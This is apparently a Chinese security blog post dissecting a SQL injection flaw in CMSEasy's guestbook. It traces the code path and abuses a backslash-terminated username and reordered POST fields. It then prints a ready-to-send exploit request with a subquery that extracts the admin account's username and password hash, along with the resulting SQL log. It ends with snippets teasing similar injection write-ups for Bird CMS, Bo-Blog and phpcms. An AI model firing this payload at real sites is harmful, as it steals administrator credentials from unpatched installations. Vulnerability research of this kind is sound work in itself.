注入..無限制
if(preg_match('/(\'|")/', $_post['username']) || preg_match('/(\'|")/', $_get['username']) || preg_match('/(\'|")/', $_cookie['login_username']))
先看註冊
user_act.php 289 行:
function register_action()
if(config::get('verifycode'))
}if(front::post('username') != strip_tags(front::post('username'))
||front::post('username') != htmlspecialchars(front::post('username'))
) 省略 註冊並沒有太多的限制
我們註冊乙個 123123\的賬戶
再來看登陸的邏輯
user_act.php 176 行:
//這裡登陸成功後 設定cookie 用的是post設定的 因為有轉義的原因
cookie會變成 123123\\ 我們手動設定一下就行了
我們再來看留言功能
//檢測是否登陸狀態
function init()
$user='';
if(cookie::get('login_username') &&cookie::get('login_password'))
$this->view->user=$user; //放入資料
guestbook_act.php 28-94行
function index_action()
if(!front::post('title'))
if(!front::post('content'))
if(config::get('verifycode'))
}front::$post['checked']=0;
//關鍵就是這個了 如果user裡面有資料的話 就用user的
我們 存入是123123\ 在sql中 會把後面的轉義掉
if(empty($this->view->user)) else
front::$post['adddate']=date('y-m-d h:i:s');
front::$post['ip']=front::ip();
if (!get_magic_quotes_gpc())
front::$post['title']=strip_tags(front::$post['title']);
$data=front::$post;
$insert=$this->_table->rec_insert($data);//組合語句並查詢
if($insert<1)
else
if(config::get('email_guest_send_admin') && config::get('email'))
if(config::get('sms_on') && config::get('sms_guestbook_on'))
if(config::get('sms_on') && config::get('sms_guestbook_admin_on') && $mobile = config::get('site_mobile'))
front::flash(lang('留言成功!'));
$this->view->submit_success=true;
if(front::get('t') == 'wap')else}}
}insert into `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,content,userid,username,adddate) values ('123','123123','123123','ss','123213','3','123123\','2014-06-25 15:35:43')
123123\ 為我們的使用者名稱 可是後面沒有可控的?
front::$post['userid']=$this->view->user['userid'];
front::$post['username']=$this->view->user['username'];
}front::$post['adddate']=date('y-m-d h:i:s');
front::$post['ip']=front::ip();
他是這樣寫的 var_dump一下變數
array(13)
由於$_post什麼的本身就是陣列 我們可以把順序換一下.
["userid"]=>
string(1) "3"
["username"]=>
string(10) "123123213\"
["adddate"]=>
string(19) "2014-06-25 15:39:36"
["ip"]=>
string(9) "125.0.1.5"
這個為什麼一直都在後面 因為他是最後賦值的 (重新建立了陣列)
既然是這樣我們之前先建立掉username這個變數。這樣就有個位置了 再看
guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=il&content=123213&verify=3vtq&submit=+%e6%8f%90%e4%ba%a4+
array(13)
insert into `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) values ('123','123123','123123','ss','123123213\','123213','3','2014-06-25 15:42:59')
由於 留言只回顯 使用者名稱和內容 我們修改內容~
exp:
guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=a&content=,(select concat(username,0x7c,password) from cmseasy_user where userid=1),1,1)# &verify=3vtq&submit=+%e6%8f%90%e4%ba%a4+
sql日誌 :
insert into `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) values ('123','123123','123123','ss','123123213\',',(select concat(username,0x7c,password) from cmseasy_user where userid=1),1,1)#','3','2014-06-25 15:49:18')
list_action()查詢留言資料 (模板中) 得登陸狀態才顯示
還有一點就是拼接資料的時候 他會查詢表裡的列 我們可以自己寫其他的列。。
過濾
Bird CMS 注射漏洞
from h4ckx7s blog 在旁註乙個大站的時候,在某個站的後台看見是什麼bird cms管理系統,記得1.1爆了什麼萬能密碼的漏洞!不知道最新版本的有什麼洞子沒有!大致的下了套原始碼看了看,管理和程式設計師都懶了!預設資料庫 datadata bird mdb 漏洞檔案 product.a...
Bo Blog 2 0 3 注射漏洞
by flyh4t 上次硬碟壞了丟了很多資料 今天某兄弟生日 掏空我的記憶回想起來乙個很老的漏洞 inc mod tag.php if defined validrequest die access denied.if job job default else job basename job it...
phpcmsV9某sql注射漏洞及修復
別人說最危險的地方最安全,我說最安全的地方最危險。相信你們也沒有想到這個最常見,常常會在各種教程出現的地方會存在sql注射。需 gpc off 首先,我們看登陸的地方。最常見了吧。預設安裝情況下,會使有 v9自帶的使用者中心。synloginstr 同步登陸js if pc base load co...